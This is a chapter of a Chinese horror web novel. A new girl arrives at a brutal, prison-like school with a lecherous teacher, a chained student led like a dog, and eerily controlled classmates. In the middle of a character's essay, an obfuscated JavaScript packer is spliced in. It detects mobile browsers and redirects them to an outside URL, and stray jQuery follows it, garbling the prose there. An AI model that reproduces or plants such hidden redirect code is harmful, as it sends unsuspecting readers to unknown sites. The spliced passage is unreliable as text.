她们走进教学楼，在上课的电铃声中停在教师办公室的门口，里面坐着一个穿着衬衫和西裤的男老师，他手中夹着烟，正有一搭没一搭地吸着，跷着二郎腿靠在旋转座椅上玩手机，白色的烟灰落在他西裤上，他丝毫没有发现，或者说没有在意。


    手机里播放的短视频声音很大，刺眼的氛围灯直直打在衣着暴露的女主播身上，让皮肤边缘处泛起一层模糊的光影，节奏感强烈的鼓点夹杂着低音震动从手机扬声器里溢出，那些女人被困在小小的屏幕里扭动着。


    男老师脸上带着一丝淫邪的笑，眼神黏在屏幕上不肯移开，手指不时地上下滑动更换视频。遇到实在合心意的女主播，他就会打开后台，给漂亮的女主播发上一条私信，用一种高高在上的姿态向她们表达自己的垂青。


    一副帝王做派，将权力和欲望浓缩于一面小小的屏幕之间。用鄙夷的姿态，傲慢地审视看着屏幕，偏又要装出一副慈悲与恩赐的模样，仿佛自己是施舍者而非窥视者，那些恶心的行为皆是在“救风尘”。


    他要劝解谁？他要拯救谁？


    可根本没有人需要他的拯救。


    青于冷漠地站在原地，用眼神审视着那个老师，身形高挑但是瘦弱，衬衫下的手臂很细，看起来并不是个难对付的人。


    “王老师，我带新同学来报到。”站在旁边的女孩儿抢在她面前开口，脸上还带着谄媚的笑容，微微弓着身子，手指不自觉地绞着衣角。


    王老师抬起眼皮扫了她们一眼，丧着一张脸将烟含在嘴里，然后从抽屉里拿出一块校牌扔在桌面上，校牌顺着他的力道滑到桌沿，最后啪的一声掉在地上。女孩儿小跑着上前，弯腰将校牌捡起来带回来给青于。


    巴掌大的金属校牌，白底黑字印着“平江三中”的字样，校名下面有个可以写名字的黑色方框，像一口方方正正的棺材，等着学生将自己入殓。


    青于的指尖擦过冰凉的金属表面，又试探着按了按校牌的四个角，很尖锐。她的目光仍然锁定在王老师脸上，那样安静冷漠的眼神总会让人觉得脊背发凉，但是王老师一无所觉，甚至没有给她一个多余的眼神。


    王老师吐出一口烟雾，模糊了那张平平无奇的脸，头也不抬地说：“名字暂时不用填，反正过几天就得换。回去上课吧，晚上你就和徐念雨一间宿舍，她们宿舍有个空床位。”


    青于攥紧校牌，薄薄的金属边缘嵌进掌心，有点疼。


    她应了一声，然后挑了挑下巴示意徐念雨带路。徐念雨就转身带着她往教室走，边走边说，“我们上课的教室在三楼，右拐第一间就是了。学校里只有两个班，男生一个，女生一个，男生的教室在四楼，你平时千万别上去。”


    她应该是笑着的，但是笑容很僵硬，像是刻意训练出来的一样，看起来有些诡异。


    才走到二楼，就看见一个男生倚在栏杆边低头点烟，火星在昏暗的楼道里忽明忽暗。他歪头打量她们，目光停在青于脸上几秒，然后又上下打量，将她整个人框进视野中，最后笑了下，烟尾朝外轻弹，灰烬簌簌落下。


    他问：“新来的？”


    徐念雨没有说话，垂着头拉着青于继续往上走。


    又走了几阶台阶，就看见一个只穿着内裤的男生脖子上套着铁链子往下爬，他四肢贴地像狗一样爬行，头低低地垂着，地面上有水迹，不知是汗水还是眼泪，拖了很长一条。


    铁链铮铮作响，另一端就握在那个抽烟的男生手上。


    他注意到青于的目光，突然伸手拽了一下，铁链猛然绷紧，那爬行的男生额头重重磕在台阶上，发出沉闷的响声。抽烟的男生挑眉露出一个很得意的笑容，懒洋洋地吐出一个圆圆的烟圈，“看什么？没见过驯狗？”


    青于没说话，指尖在校牌边缘压得更紧了，指腹传来细微的刺痛，好像破了。


    徐念雨拽了她一把，脚步加快，小跑着离开这个地方。


    一直到离得远了，徐念雨才敢跟她说：“别看他们，那是男生那边的班长，负责管理不听话的学生。他很极端，很喜欢在人多的地方侮辱人，好几个学生都在他手里死了，你最好不要跟他起冲突。”


    青于垂下眼，血珠从指腹渗出，滴在校牌边缘，晕开一小片暗红。


    终于上了三楼，走廊尽头有一阵风吹来，吹散了令人窒息的烟味，也吹乱了她的黑发。走廊长长的，外围被铁丝网牢牢围住，灰色的水泥地面上留着各种各样的痕迹，最多的就是血迹，鲜血曾经渗透地面，留下深褐色的污渍，一年又一年，顽固地留在这片地面上，洗不净，也抹不去。


    因为围了密实的铁丝网，所以阳光被切割成细碎的光斑，落在那些血迹上，星星点点的光斑照不亮暗沉的走廊，昏暗的、压抑的、透不过气的走廊。


    学生们就被关在这样小小的格子里，连天空的全貌都看不清。他们走在长长的走廊上，像一群被关押的囚犯，身上背负着不知名的罪名。


    青于抿着唇有些难过。


    妈妈，这就是学校吗？我不喜欢。这里和你说的地方一点也不像，这里没有操场上打球散步的学生，没有阳光落在树叶上变成跃动的金光，没有你口中鲜活热烈的少年为了梦想而挥洒汗水。


    这里只有压抑的走廊、匍匐颤抖的学生和施暴者得意的烟圈。


    教室里有二十几个学生，全部都是女生，她们剪着相似的学生头，穿着一模一样的校服，有的戴着眼镜，有的没戴眼镜，各自低着头坐在位置上写作业，像一排被摆正的木偶。


    讲台上没有人，黑板上用粉笔写着一行歪歪斜斜的白字。


    今日任务：写一篇主题为“亲情与幸福”的作文，不少于两千字，不允许抄袭，如果有雷同情节，两人同时受罚。


    有着红色线条格子的作文本铺在老旧的桌椅上，中性笔悬于纸面之上，写下一个个黑色的小字。她们沉默着，在绝望中写下幸福，笔尖划破纸张，她们求救无门，死亡缓缓逼近，她们要亲手书写“亲情”。


    可就是“亲情”将她们送到这里，让她们人不像人，鬼不像鬼。


    徐念雨和青于的到来没有引起任何人的侧目，她们呆滞地低着头写作，是一群被驯养好的羔羊，就算管理者不在，也不会擅自离开羊圈。


    徐念雨带着青于走到教室最后排，她的位置在靠窗的位置，青于就坐在她旁边。她们的位置隔着一条过道，窄窄的过道，伸伸手就能牵住彼此。


    很巧，桌面上就有铺开的作文本和文具盒，桌洞里还有两本书和一个贴着动漫人物的浅蓝色水杯。


    作文本上已经写好了几行内容，一行是题目，余下的是内容。


    我的爸爸


    七岁那年父母离婚，妈妈走了，留下我和爸爸一起生活。爸爸不是个好人，但是我要仰仗着他生活，所以他成了一个好人，在我的眼中。


    亲情是什么呢？亲情是挣脱、抵抗、出走，是眼泪流成了一条河，我趁着夜色划着小船离开，去往夕阳的尽头，然后小船翻了，我沉进没有光的海底，再也没有人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442543|184859||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    能找到我。可我的小船怎么也走不出港口，那象征着自由的港口被高墙围住，被铁丝网缠绕，父亲站在高高的墙头，指责我是个不检点的女儿。


    任凭我挣扎，任凭我逃离，他始终把锁链缠在我身上，不顾我身上早已溃烂的伤口。


    我的眼泪流不成河，只能浸入枕头里，在白日里留下一圈白色印子。枕头受潮发霉，散发出难闻的气味，可我不能换枕头，就像我不能换父亲。


    发霉的不只是我的枕头，还有我，没用的我……


    “你顺着写下去就可以了，下课的时候王老师会来收作业，到时候没有写够两千字要被惩罚的。不过不用着急，一节课两个小时，你可以慢慢写。”


    青于坐下后看了一下作文本的封面，名字那栏写着一个名字：韩喜乐。


    她手里握着笔，迟迟没有落下。


    出现了一个大问题，她不太会写字。小时候妈妈教了她识字读书，所以她是认字的，但是没有纸笔，妈妈只能握着她小小的手在书本上慢慢描摹笔画，仅有的几次拿笔还是捡了堂哥不要的铅笔头。


    短短的铅笔头被攥在手里，在书本上划出歪斜的痕迹，写下她的名字。


    她只会写自己的名字，甚至不会写“蓝”，因为妈妈没教过，在妈妈的眼里，她只是“青于”。


    那现在，她要怎么写一篇作文呢？


    她迟迟没有动笔，徐念雨偏着头看过来，看了好一会儿，才小声问道：“你怎么不写？”


    青于握着笔的手有些发麻，她说：“我不会写。”


    “我来帮你……”


    “不用了。”青于拒绝了她的好意，将那本作文本轻轻合上，小心地放进了桌洞里，然后从书包里拿出来一个玉米开始啃，玉米的甜味在嘴里蔓延，她出神地望着黑板上的白色粉笔字。


    亲情？


    幸福？


    如果真的要写，她会怎么写呢？她会写灶台边自己冻红发麻的手指，写雨夜里漏风的墙缝，写父亲盛怒后摔在泥地上的碗和母亲死去时落在地上的红色发绳。


    她能写很多很多，但是她不想写。那些人不值得她再次着墨，他们已经死了，就该像书本上的铅笔字一样，被劣质橡皮擦去，只剩下一条条黑色的碎屑，那是他们的尸骨。


    而妈妈怎么写都不对，写不出她的味道，写不出她的温度，写不出她炙热的眼泪和温情的目光。


    青于擦了擦嘴，问徐念雨，“是不是只有下课的时候老师才会来？这段时间他们都不会出现？”


    徐念雨点头，小声说：“你还是写一写吧，不然会被惩罚……”


    青于打断了她，说道：“我睡一会儿，快要下课的时候你把我喊醒。”


    徐念雨抿了抿唇，有些怯懦地点了点头。


    青于倒头就睡。


    上车已经好几天了，她一分钟都没睡过。困倦侵袭了大脑，她头疼得厉害，连思绪也断断续续，乱七八糟的，连不成一段完整的逻辑。


    在真正的危机出现之前，她需要睡眠。


    青于睡着了，规律的呼吸声响起，窗外的阳光落在桌面上，形成一片晃动的光斑，像一只手轻轻描摹她的脸。


    教室里的那些学生开始转头看着她，她们的身体端端正正地坐着，头却以一种诡异的弧度扭转，齐刷刷望向她，眼神十分空洞，像是被什么无形的力量操控着。


    青于在梦中皱了皱眉，手指微微抽动了一下。那些头便齐刷刷地转了回去，仿佛什么都没有发生过。